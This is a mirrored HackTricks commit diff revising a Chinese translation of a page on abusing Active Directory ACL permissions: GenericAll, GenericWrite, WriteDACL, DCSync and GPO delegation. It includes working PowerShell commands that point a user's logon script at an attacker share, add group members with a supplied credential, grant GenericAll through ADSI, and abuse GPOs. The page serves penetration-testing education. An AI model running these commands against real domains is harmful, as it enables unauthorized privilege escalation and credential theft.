mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/acl-pers
This commit is contained in:
parent
5f0b8ab07e
commit
c6e7470d14
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**本页面主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术总结。有关更多详细信息,请查看原始文章。**
|
||||
**本页面主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术。有关更多详细信息,请查看原始文章。**
|
||||
|
||||
## BadSuccesor
|
||||
## BadSuccessor
|
||||
|
||||
{{#ref}}
|
||||
BadSuccesor.md
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **用户的 GenericAll 权限**
|
||||
@ -86,13 +86,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
|
||||
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令来更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本。
|
||||
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本来实现的。
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
|
||||
通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用该对象将用户添加或移除组,并使用 PowerShell 命令验证成员资格更改。
|
||||
通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用它来添加或移除用户,并使用 PowerShell 命令验证成员资格更改。
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -102,7 +102,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
拥有一个 AD 对象并对其具有 `WriteDACL` 权限使攻击者能够授予自己对该对象的 `GenericAll` 权限。这是通过 ADSI 操作实现的,允许对该对象进行完全控制并能够修改其组成员资格。尽管如此,在尝试使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 利用这些权限时仍然存在限制。
|
||||
拥有一个 AD 对象并且对其具有 `WriteDACL` 权限使攻击者能够授予自己对该对象的 `GenericAll` 权限。这是通过 ADSI 操作实现的,允许对该对象进行完全控制并能够修改其组成员资格。尽管如此,在尝试使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 利用这些权限时仍然存在限制。
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -112,23 +112,23 @@ $ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **域上的复制 (DCSync)**
|
||||
|
||||
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这个强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,使攻击者能够在没有直接访问域控制器的情况下,从 AD 环境中提取敏感信息。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md)
|
||||
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这个强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,允许攻击者在没有直接访问域控制器的情况下,从 AD 环境中提取敏感信息。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md)
|
||||
|
||||
## GPO 委派 <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPO 委派
|
||||
|
||||
委派管理组策略对象 (GPO) 的访问权限可能会带来重大安全风险。例如,如果用户如 `offense\spotless` 被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可能被滥用以进行恶意目的,使用 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
委派管理组策略对象 (GPO) 的访问权限可能会带来重大安全风险。例如,如果用户如 `offense\spotless` 被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可能被滥用用于恶意目的,使用 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### 枚举 GPO 权限
|
||||
|
||||
要识别配置错误的 GPO,可以将 PowerSploit 的 cmdlet 链接在一起。这允许发现特定用户有权限管理的 GPO:`powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**应用了给定策略的计算机**:可以解析特定 GPO 应用到哪些计算机,帮助理解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**应用特定策略的计算机**:可以解析特定 GPO 应用到哪些计算机,帮助理解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**应用于特定计算机的策略**:要查看应用于特定计算机的策略,可以使用 `Get-DomainGPO` 等命令。
|
||||
|
||||
**应用了给定策略的 OU**:可以使用 `Get-DomainOU` 识别受特定策略影响的组织单位 (OU)。
|
||||
**应用特定策略的 OU**:可以使用 `Get-DomainOU` 识别受特定策略影响的组织单位 (OU)。
|
||||
|
||||
您还可以使用工具 [**GPOHound**](https://github.com/cogiceo/GPOHound) 来枚举 GPO 并查找其中的问题。
|
||||
|
||||
@ -153,17 +153,17 @@ SharpGPOAbuse 提供了一种通过添加任务或修改设置来滥用现有 GP
|
||||
```
|
||||
### 强制策略更新
|
||||
|
||||
GPO 更新通常每 90 分钟发生一次。为了加快这个过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令强制立即更新策略。此命令确保对 GPO 的任何修改在下一个自动更新周期之前立即应用。
|
||||
GPO 更新通常每 90 分钟发生一次。为了加快此过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令强制立即更新策略。此命令确保对 GPO 的任何修改在下一个自动更新周期之前立即应用。
|
||||
|
||||
### 背后原理
|
||||
### 背后的机制
|
||||
|
||||
检查给定 GPO 的计划任务时,例如 `Misconfigured Policy`,可以确认添加了诸如 `evilTask` 的任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。
|
||||
检查给定 GPO 的计划任务时,可以确认添加了诸如 `evilTask` 的任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。
|
||||
|
||||
任务的结构,如 `New-GPOImmediateTask` 生成的 XML 配置文件所示,概述了计划任务的具体细节,包括要执行的命令及其触发器。该文件表示如何在 GPO 中定义和管理计划任务,提供了一种作为政策执行一部分执行任意命令或脚本的方法。
|
||||
|
||||
### 用户和组
|
||||
|
||||
GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件,攻击者可以将用户添加到特权组中,例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的,允许修改政策文件以包含新用户或更改组成员资格。
|
||||
GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件,攻击者可以将用户添加到特权组,例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的,允许修改政策文件以包含新用户或更改组成员资格。
|
||||
|
||||
用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目,可以授予特定用户在受影响系统上的提升权限。这种方法提供了一种通过 GPO 操作直接进行权限提升的途径。
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user